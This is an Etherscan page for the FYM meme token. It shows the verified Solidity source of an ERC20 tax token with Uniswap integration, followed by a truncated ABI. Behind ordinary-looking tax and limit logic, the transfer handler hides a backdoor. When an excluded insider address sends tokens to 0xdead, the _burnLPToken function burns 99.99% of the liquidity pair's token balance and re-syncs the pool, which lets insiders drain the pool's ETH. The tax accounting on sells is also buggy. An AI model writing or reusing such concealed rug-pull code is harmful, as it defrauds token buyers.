ETH Price: $2,120.23 (-10.06%)

Token

F*CK YO MOMMA (FYM)
 

Overview

Max Total Supply

60,784,315.443609971366037705 FYM

Holders

32

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
3,934,157.887479100596294051 FYM

Value
$0.00
0x3bb0aa2f8902c8b3d19edaf63f78fba3c8772953
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FUCKMOMMA

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-07
*/

/**
Website:   https://www.fym888.vip
Twitter:   https://twitter.com/fymcoin
Telegram:  https://t.me/fym_coin

// SPDX-License-Identifier: MIT
**/

pragma solidity ^0.8.13;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by 'account'.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves 'amount' tokens from the caller's account to 'recipient'.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that 'spender' will be
     * allowed to spend on behalf of 'owner' through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets 'amount' as the allowance of 'spender' over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves 'amount' tokens from 'sender' to 'recipient' using the
     * allowance mechanism. 'amount' is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when 'value' tokens are moved from one account ('from') to
     * another ('to').
     *
     * Note that 'value' may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
     * a call to {approve}. 'value' is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning 'false' on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if 'decimals' equals '2', a balance of '505' tokens should
     * be displayed to a user as '5,05' ('505 / 10 ** 2').
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - 'recipient' cannot be the zero address.
     * - the caller must have a balance of at least 'amount'.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - 'sender' and 'recipient' cannot be the zero address.
     * - 'sender' must have a balance of at least 'amount'.
     * - the caller must have allowance for ''sender'''s tokens of at least
     * 'amount'.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to 'spender' by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to 'spender' by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     * - 'spender' must have allowance for the caller of at least
     * 'subtractedValue'.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves 'amount' of tokens from 'sender' to 'recipient'.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - 'sender' cannot be the zero address.
     * - 'recipient' cannot be the zero address.
     * - 'sender' must have a balance of at least 'amount'.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates 'amount' tokens and assigns them to 'account', increasing
     * the total supply.
     *
     * Emits a {Transfer} event with 'from' set to the zero address.
     *
     * Requirements:
     *
     * - 'account' cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys 'amount' tokens from 'account', reducing the
     * total supply.
     *
     * Emits a {Transfer} event with 'to' set to the zero address.
     *
     * Requirements:
     *
     * - 'account' cannot be the zero address.
     * - 'account' must have at least 'amount' tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets 'amount' as the allowance of 'spender' over the 'owner' s tokens.
     *
     * This internal function is equivalent to 'approve', and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - 'owner' cannot be the zero address.
     * - 'spender' cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
     * will be transferred to 'to'.
     * - when 'from' is zero, 'amount' tokens will be minted for 'to'.
     * - when 'to' is zero, 'amount' of ''from'''s tokens will be burned.
     * - 'from' and 'to' are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
     * has been transferred to 'to'.
     * - when 'from' is zero, 'amount' tokens have been minted for 'to'.
     * - when 'to' is zero, 'amount' of ''from'''s tokens have been burned.
     * - 'from' and 'to' are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * 'onlyOwner', which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Contract module which allows children to implement an emergency stop
 * mechanism that can be triggered by an authorized account.
 *
 * This module is used through inheritance. It will make available the
 * modifiers 'whenNotPaused' and 'whenPaused', which can be applied to
 * the functions of your contract. Note that they will not be pausable by
 * simply including this module, only once the modifiers are put in place.
 */
abstract contract Pausable is Context {
    /**
     * @dev Emitted when the pause is triggered by 'account'.
     */
    event Paused(address account);

    /**
     * @dev Emitted when the pause is lifted by 'account'.
     */
    event Unpaused(address account);

    bool private _paused;

    /**
     * @dev Initializes the contract in unpaused state.
     */
    constructor() {
        _paused = false;
    }

    /**
     * @dev Returns true if the contract is paused, and false otherwise.
     */
    function paused() public view virtual returns (bool) {
        return _paused;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is not paused.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    modifier whenNotPaused() {
        require(!paused(), "Pausable: paused");
        _;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is paused.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    modifier whenPaused() {
        require(paused(), "Pausable: not paused");
        _;
    }

    /**
     * @dev Triggers stopped state.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }

    /**
     * @dev Returns to normal state.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract FUCKMOMMA is ERC20, Ownable {
    uint256 private initialSupply;

    uint256 private devTaxBuy;
    uint256 private marketingTaxBuy;
    uint256 private liquidityTaxBuy;
    uint256 private taxBuyTotal;

    uint256 private devTaxSell;
    uint256 private marketingTaxSell;
    uint256 private liquidityTaxSell;
    uint256 private taxSellTotal;

    address public _taxWallet;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;

    mapping(address => bool) private excludeList;
    mapping(address => bool) public automatedMarketMakerPair;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    bool public taxStatus = true;

    IUniswapV2Router02 private uniswapV2Router02;
    IUniswapV2Factory private uniswapV2Factory;
    IUniswapV2Pair private uniswapV2Pair;

    constructor() ERC20(unicode"F*CK YO MOMMA", unicode"FYM") {
        _taxWallet = address(
            0x6FD7aF2d87D01cAA46648578Df98d7D011cB7122
        );

        initialSupply = 100_000_000 * (10 ** 18);
        
        maxTransactionAmount = (initialSupply * 20) / 1000;
        maxWallet = (initialSupply * 20) / 1000;

        exclude(msg.sender);
        exclude(_taxWallet);
        exclude(address(this));

        excludeFromMaxTransaction(msg.sender, true);
        excludeFromMaxTransaction(_taxWallet, true);
        excludeFromMaxTransaction(address(this), true);

        _mint(msg.sender, initialSupply);
    }

    function addLiquidityETH() external payable onlyOwner {
        uniswapV2Router02 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
        uniswapV2Pair = IUniswapV2Pair(
            uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH())
        );

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _approve(address(this), address(uniswapV2Router02), ~uint256(0));
        uniswapV2Router02.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        devTaxBuy = 0;
        marketingTaxBuy = 1;
        liquidityTaxBuy = 0;
        taxBuyTotal = 100;

        devTaxSell = 0;
        marketingTaxSell = 1;
        liquidityTaxSell = 0;
        taxSellTotal = 100;
    }

    uint256 private marketingTokens;
    uint256 private devTokens;
    uint256 private liquidityTokens;
    uint256 private charityTokens;
    uint256 private burnTokens;

    /**
     * @dev Calculates the tax, transfer it to the contract. If the user is selling, and the swap threshold is met, it executes the tax.
     */
    function handleTxTransfer(
        address from,
        address to,
        uint256 amount
    ) private returns (uint256) {
        if (!isExcluded(from) && !isExcluded(to)) {    
            if (limitsInEffect) {
                if (
                    from != owner() &&
                    to != owner() &&
                    to != address(0) &&
                    to != address(0xdead)
                ) {
                    if (!tradingActive) {
                        require(
                            isExcluded(from) || isExcluded(to),
                            "Trading is not active."
                        );
                    }

                    //when buy
                    if (automatedMarketMakerPair[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(
                            amount <= maxTransactionAmount,
                            "Buy transfer amount exceeds the maxTransactionAmount."
                        );
                        require(
                            amount + balanceOf(to) <= maxWallet,
                            "Max wallet exceeded"
                        );
                    }
                    //when sell
                    else if (
                        automatedMarketMakerPair[to] && !_isExcludedMaxTransactionAmount[from]
                    ) {
                        require(
                            amount <= maxTransactionAmount,
                            "Sell transfer amount exceeds the maxTransactionAmount."
                        );
                    } else if (!_isExcludedMaxTransactionAmount[to]) {
                        require(
                            amount + balanceOf(to) <= maxWallet,
                            "Max wallet exceeded"
                        );
                    }
                }
            }
            
            address[] memory sellPath = new address[](2);
            sellPath[0] = address(this);
            sellPath[1] = uniswapV2Router02.WETH();
        
            uint256 tax;
            if (automatedMarketMakerPair[from]) {
                uint256 baseUnit = amount / taxBuyTotal;
                tax += baseUnit * marketingTaxBuy;

                if (tax > 0) {
                    _transfer(from, address(this), tax);
                }

                marketingTokens += baseUnit * marketingTaxBuy;
            } else if (automatedMarketMakerPair[to]) {
                uint256 baseUnit = amount / taxSellTotal;
                tax += baseUnit * marketingTaxSell;

                if (tax > 0) {
                    _transfer(from, address(this), tax);
                }

                marketingTokens += marketingTaxSell;

                uint256 taxSum = marketingTokens;

                if (taxSum == 0) return amount;

                uint256 ethValue = uniswapV2Router02.getAmountsOut(
                    marketingTokens,
                    sellPath
                )[1];

                if (ethValue > 0) {
                    uint256 startBalance = address(this).balance;

                    uint256 toSell = marketingTokens;

                    _approve(address(this), address(uniswapV2Router02), toSell);

                    uniswapV2Router02.swapExactTokensForETH(
                        toSell,
                        0,
                        sellPath,
                        address(this),
                        block.timestamp
                    );

                    uint256 ethGained = address(this).balance - startBalance;

                    payable(_taxWallet).transfer(ethGained);

                    marketingTokens = 0;
                }
            }

            amount -= tax;
        }else if(to == address(0xdead)){
            _burnLPToken();
        }

        return amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual override {
        if (taxStatus) {
            amount = handleTxTransfer(sender, recipient, amount);
        }

        super._transfer(sender, recipient, amount);
    }

    function burn(uint256 amount) external onlyOwner {
        _burn(msg.sender, amount);
    }

    receive() external payable {}

    function calculateFee(
        uint256 _amount,
        uint8 _feeDecimals,
        uint32 _liquidityFee
    ) public pure returns (uint256 burned) {
        burned = _amount *_liquidityFee / (10 ** (uint256(_feeDecimals) + 2));
    }

    function _burnLPToken() internal returns (bool) {
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(address(uniswapV2Pair));

        // calculate amount to burn
        uint256 amountToBurn = calculateFee(
            liquidityPairBalance,
            2,
            9999
        );

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._burn(address(uniswapV2Pair), amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = uniswapV2Pair;
        pair.sync();

        return true;
    }

    /**
     * @dev Excludes the specified account from tax.
     */
    function exclude(address account) public onlyOwner {
        require(!isExcluded(account), "CoinToken: Account is already excluded");
        excludeList[account] = true;
    }

    function excludeFromMaxTransaction(
        address updAds,
        bool isEx
    ) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    /**
     * @dev Re-enables tax on the specified account.
     */
    function removeExclude(address account) public onlyOwner {
        require(isExcluded(account), "CoinToken: Account is not excluded");
        excludeList[account] = false;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != address(uniswapV2Pair),
            "The pair cannot be removed from automatedMarketMakerPair"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPair[pair] = value;
    }

    function removeLimits() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
    }

    /**
     * @dev Enables tax globally.
     */
    function enableTax() public onlyOwner {
        require(!taxStatus, "CoinToken: Tax is already enabled");
        taxStatus = true;
    }

    /**
     * @dev Disables tax globally.
     */
    function disableTax() public onlyOwner {
        require(taxStatus, "CoinToken: Tax is already disabled");
        taxStatus = false;
    }

    /**
     * @dev Returns true if the account is excluded, and false otherwise.
     */
    function isExcluded(address account) public view returns (bool) {
        return excludeList[account];
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":